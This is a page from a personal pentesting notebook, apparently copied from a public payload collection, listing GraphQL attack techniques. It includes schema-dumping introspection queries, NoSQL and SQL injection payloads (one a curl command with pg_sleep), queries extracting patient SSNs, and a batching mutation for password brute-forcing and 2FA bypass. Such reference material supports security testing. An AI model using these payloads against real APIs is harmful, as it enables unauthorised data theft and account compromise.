☕
Brinkles Pentesting Notebook
  • Introduction
    • My Journey to Pentesting
    • Twitter
    • Github
  • Certification Reviews
    • OSEP Review
    • CISSP Review
    • OSCP Review
    • RTJC Review
    • RTAC Review
    • CEH Review
    • CRTO Review
    • PNPT Review
    • eWPT Review
    • eJPTv1 Review
    • CCNP Security Review
    • CCNA Review
    • CompTIA Net +, A+ Review
  • C2 and Payloads
    • Sliver C2
    • Cobalt Strike
      • BOFs and Aggressor Scripts
        • Situational Awareness BOF
        • HOLLOW BOF
        • DLL_Version_Enumeration_BOF
        • InlineExecute-Assembly BOF
        • BOF.NET
        • C2-Tool-Collection BOFs
        • Inline-Execute-PE
      • Payloads
  • Tools
    • Internal Tools
      • BloodHound
      • Certi
      • Coercer
      • CrackMapExec
      • DCSync
      • DFSCoerce
      • DonPAPI
      • WMIEXEC
      • Kerberoasting
      • Lsassy
      • mitm6
      • Pcredz
      • PowerSploit
      • PrivExchange
      • Responder / RunFinger
      • Rubeus
      • Seatbelt
      • Seth
    • Web App Pentesting
      • Payload All The Things
        • Directory traversal
          • Deep Traversal
          • More Directory Traversal Payloads
        • SAML Injection
        • XXE - XML External Entity
        • XSS - Cross Site Scripting
        • XSLT Injection
        • XPATH injection
        • Upload Insecure Files
        • SQL injection
          • MSSQL Injection
          • MYSQL Injection
          • Oracle SQL Injection
          • PostgreSQL injection
          • SQLite Injection
        • Server Side Templates Injections
        • Server-Side Request Forgery
          • Payloads Included in Server-Side Request Forgery
        • Request Smuggling
        • OAuth
        • NoSQL injection
        • LDAP injection
        • Kubernetes
        • JSON Web Token
        • HTTP Parameter Pollution
        • GraphQL injection
        • CORS Misconfiguration
        • CRLF
        • Cross-Site Request Forgery
        • CSV Injection (Formula Injection)
        • File Inclusion
          • PHPINFOlfi.py
          • uploadlfi.py
  • Network Security
    • DMVPN GRE NHRP IPsec Profiles
    • Flex VPNs
    • GET VPN with Key Server
    • IKE Site to Site w/ IPSec
    • Point to Point GRE over IPSec
    • Remote Access VPN
    • Helpful Cisco Firewall CLI Commands
Powered by GitBook
On this page
  • Summary
  • Tools
  • Exploit
  • Identify an injection point
  • Enumerate Database Schema via Introspection
  • List path
  • Extract data
  • Extract data using edges/nodes
  • Extract data using projections
  • Enumerate the types' definition
  • Use mutations
  • NOSQL injection
  • SQL injection
  • GraphQL Batching Attacks
  • References
  1. Tools
  2. Web App Pentesting
  3. Payload All The Things

GraphQL injection

GraphQL is a query language for APIs and a runtime for fulfilling those queries with existing data. A GraphQL service is created by defining types and fields on those types, then providing functions for each field on each type

Summary

  • Tools

  • Exploit

    • Identify an injection point

    • Enumerate Database Schema via Instropection

    • Extract data

    • Extract data using edges/nodes

    • Extract data using projections

    • Enumerate the types' definition

    • Use mutations

    • NOSQL injection

    • SQL injection

    • GraphQL Batching Attacks

  • References

Tools

Exploit

Identify an injection point

Most of the time the graphql is located on the /graphql or /graphiql endpoint.

example.com/graphql?query={__schema{types{name}}}
example.com/graphiql?query={__schema{types{name}}}

Check if errors are visible.

?query={__schema}
?query={}
?query={thisdefinitelydoesnotexist}

Enumerate Database Schema via Introspection

URL encoded query to dump the database schema.

fragment+FullType+on+__Type+{++kind++name++description++fields(includeDeprecated%3a+true)+{++++name++++description++++args+{++++++...InputValue++++}++++type+{++++++...TypeRef++++}++++isDeprecated++++deprecationReason++}++inputFields+{++++...InputValue++}++interfaces+{++++...TypeRef++}++enumValues(includeDeprecated%3a+true)+{++++name++++description++++isDeprecated++++deprecationReason++}++possibleTypes+{++++...TypeRef++}}fragment+InputValue+on+__InputValue+{++name++description++type+{++++...TypeRef++}++defaultValue}fragment+TypeRef+on+__Type+{++kind++name++ofType+{++++kind++++name++++ofType+{++++++kind++++++name++++++ofType+{++++++++kind++++++++name++++++++ofType+{++++++++++kind++++++++++name++++++++++ofType+{++++++++++++kind++++++++++++name++++++++++++ofType+{++++++++++++++kind++++++++++++++name++++++++++++++ofType+{++++++++++++++++kind++++++++++++++++name++++++++++++++}++++++++++++}++++++++++}++++++++}++++++}++++}++}}query+IntrospectionQuery+{++__schema+{++++queryType+{++++++name++++}++++mutationType+{++++++name++++}++++types+{++++++...FullType++++}++++directives+{++++++name++++++description++++++locations++++++args+{++++++++...InputValue++++++}++++}++}}

URL decoded query to dump the database schema.

fragment FullType on __Type {
  kind
  name
  description
  fields(includeDeprecated: true) {
    name
    description
    args {
      ...InputValue
    }
    type {
      ...TypeRef
    }
    isDeprecated
    deprecationReason
  }
  inputFields {
    ...InputValue
  }
  interfaces {
    ...TypeRef
  }
  enumValues(includeDeprecated: true) {
    name
    description
    isDeprecated
    deprecationReason
  }
  possibleTypes {
    ...TypeRef
  }
}
fragment InputValue on __InputValue {
  name
  description
  type {
    ...TypeRef
  }
  defaultValue
}
fragment TypeRef on __Type {
  kind
  name
  ofType {
    kind
    name
    ofType {
      kind
      name
      ofType {
        kind
        name
        ofType {
          kind
          name
          ofType {
            kind
            name
            ofType {
              kind
              name
              ofType {
                kind
                name
              }
            }
          }
        }
      }
    }
  }
}

query IntrospectionQuery {
  __schema {
    queryType {
      name
    }
    mutationType {
      name
    }
    types {
      ...FullType
    }
    directives {
      name
      description
      locations
      args {
        ...InputValue
      }
    }
  }
}

Single line query to dump the database schema without fragments.

__schema{queryType{name},mutationType{name},types{kind,name,description,fields(includeDeprecated:true){name,description,args{name,description,type{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name}}}}}}}},defaultValue},type{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name}}}}}}}},isDeprecated,deprecationReason},inputFields{name,description,type{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name}}}}}}}},defaultValue},interfaces{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name}}}}}}}},enumValues(includeDeprecated:true){name,description,isDeprecated,deprecationReason,},possibleTypes{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name}}}}}}}}},directives{name,description,locations,args{name,description,type{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name}}}}}}}},defaultValue}}}

List path

$ git clone https://gitlab.com/dee-see/graphql-path-enum
$ graphql-path-enum -i ./test_data/h1_introspection.json -t Skill
Found 27 ways to reach the "Skill" node from the "Query" node:
- Query (assignable_teams) -> Team (audit_log_items) -> AuditLogItem (source_user) -> User (pentester_profile) -> PentesterProfile (skills) -> Skill
- Query (checklist_check) -> ChecklistCheck (checklist) -> Checklist (team) -> Team (audit_log_items) -> AuditLogItem (source_user) -> User (pentester_profile) -> PentesterProfile (skills) -> Skill
- Query (checklist_check_response) -> ChecklistCheckResponse (checklist_check) -> ChecklistCheck (checklist) -> Checklist (team) -> Team (audit_log_items) -> AuditLogItem (source_user) -> User (pentester_profile) -> PentesterProfile (skills) -> Skill
- Query (checklist_checks) -> ChecklistCheck (checklist) -> Checklist (team) -> Team (audit_log_items) -> AuditLogItem (source_user) -> User (pentester_profile) -> PentesterProfile (skills) -> Skill
- Query (clusters) -> Cluster (weaknesses) -> Weakness (critical_reports) -> TeamMemberGroupConnection (edges) -> TeamMemberGroupEdge (node) -> TeamMemberGroup (team_members) -> TeamMember (team) -> Team (audit_log_items) -> AuditLogItem (source_user) -> User (pentester_profile) -> PentesterProfile (skills) -> Skill
- Query (embedded_submission_form) -> EmbeddedSubmissionForm (team) -> Team (audit_log_items) -> AuditLogItem (source_user) -> User (pentester_profile) -> PentesterProfile (skills) -> Skill
- Query (external_program) -> ExternalProgram (team) -> Team (audit_log_items) -> AuditLogItem (source_user) -> User (pentester_profile) -> PentesterProfile (skills) -> Skill
- Query (external_programs) -> ExternalProgram (team) -> Team (audit_log_items) -> AuditLogItem (source_user) -> User (pentester_profile) -> PentesterProfile (skills) -> Skill
- Query (job_listing) -> JobListing (team) -> Team (audit_log_items) -> AuditLogItem (source_user) -> User (pentester_profile) -> PentesterProfile (skills) -> Skill
- Query (job_listings) -> JobListing (team) -> Team (audit_log_items) -> AuditLogItem (source_user) -> User (pentester_profile) -> PentesterProfile (skills) -> Skill
- Query (me) -> User (pentester_profile) -> PentesterProfile (skills) -> Skill
- Query (pentest) -> Pentest (lead_pentester) -> Pentester (user) -> User (pentester_profile) -> PentesterProfile (skills) -> Skill
- Query (pentests) -> Pentest (lead_pentester) -> Pentester (user) -> User (pentester_profile) -> PentesterProfile (skills) -> Skill
- Query (query) -> Query (assignable_teams) -> Team (audit_log_items) -> AuditLogItem (source_user) -> User (pentester_profile) -> PentesterProfile (skills) -> Skill
- Query (query) -> Query (skills) -> Skill

Extract data

example.com/graphql?query={TYPE_1{FIELD_1,FIELD_2}}

Extract data using edges/nodes

{
  "query": "query {
    teams{
      total_count,edges{
        node{
          id,_id,about,handle,state
        }
      }
    }
  }"
} 

Extract data using projections

{doctors(options: "{\"patients.ssn\" :1}"){firstName lastName id patients{ssn}}}

Enumerate the types' definition

Enumerate the definition of interesting types using the following GraphQL query, replacing "User" with the chosen type

{__type (name: "User") {name fields{name type{name kind ofType{name kind}}}}}

Use mutations

Mutations work like function, you can use them to interact with the GraphQL.

# mutation{signIn(login:"Admin", password:"secretp@ssw0rd"){token}}
# mutation{addUser(id:"1", name:"Dan Abramov", email:"dan@dan.com") {id name email}}

NOSQL injection

Use $regex, $ne frominside a search parameter.

{
  doctors(
    options: "{\"limit\": 1, \"patients.ssn\" :1}", 
    search: "{ \"patients.ssn\": { \"$regex\": \".*\"}, \"lastName\":\"Admin\" }")
    {
      firstName lastName id patients{ssn}
    }
}

SQL injection

Send a single quote ' inside a graphql parameter to trigger the SQL injection

{ 
    bacon(id: "1'") { 
        id, 
        type, 
        price
    }
}

Simple SQL injection inside a graphql field.

curl -X POST http://localhost:8080/graphql\?embedded_submission_form_uuid\=1%27%3BSELECT%201%3BSELECT%20pg_sleep\(30\)%3B--%27

GraphQL Batching Attacks

Common scenario:

  • Password Brute-force Amplification Scenario

  • 2FA bypassing

mutation finishChannelVerificationMutation(
  $input FinishChannelVerificationInput!,
  $input2 FinishChannelVerificationInput!,
  $input3 FinishChannelVerificationInput!,
){
  first: finishChannelVerificationMutation(input: $input){
    channel{
      id
      option{
        ... onChannelSmsOptions{
          number
        }
      }
      status
      notificationSubscription(last: 1000){ etc...  }
    }
  }


  second: finishChannelVerificationMutation(input: $input2){...}
  third: finishChannelVerificationMutation(input: $input3){...}
}

References

PreviousHTTP Parameter PollutionNextCORS Misconfiguration

Last updated 2 years ago

HTB Help - GraphQL injection

Don’t forget to escape the " inside the options.

⚠️
GraphQLmap - Scripting engine to interact with a graphql endpoint for pentesting purposes
GraphQL-voyager - Represent any GraphQL API as an interactive graph
GraphQL Security Toolkit - GraphQL Security Research Material
Graphql-path-enum - Lists the different ways of reaching a given type in a GraphQL schema
GraphQL IDE - An extensive IDE for exploring GraphQL API's
ClairvoyanceX - Obtain GraphQL API schema despite disabled introspection
InQL - A Burp Extension for GraphQL Security Testing
Insomnia - Cross-platform HTTP and GraphQL Client
AutoGraphql + introspection
Introduction to GraphQL
GraphQL Introspection
API Hacking GraphQL - @ghostlulz - jun 8, 2019
GraphQL abuse: Bypass account level permissions through parameter smuggling - March 14, 2018 - @Detectify
Discovering GraphQL endpoints and SQLi vulnerabilities - Sep 23, 2018 - Matías Choren
Securing Your GraphQL API from Malicious Queries - Feb 21, 2018 - Max Stoiber
GraphQL NoSQL Injection Through JSON Types - June 12, 2017 - Pete Corey
SQL injection in GraphQL endpoint through embedded_submission_form_uuid parameter - Nov 6th 2018 - @jobert
Looting GraphQL Endpoints for Fun and Profit - @theRaz0r
How to set up a GraphQL Server using Node.js, Express & MongoDB - 5 NOVEMBER 2018 - Leonardo Maldonado
GraphQL cheatsheet - DEVHINTS.IO
HIP19 Writeup - Meet Your Doctor 1,2,3 - June 22, 2019 - Swissky
Introspection query leaks sensitive graphql system information - @Zuriel
Graphql Bug to Steal Anyone’s Address - Sept 1, 2019 - Pratik Yadav
GraphQL Batching Attack - RENATAWALLARM - DECEMBER 13, 2019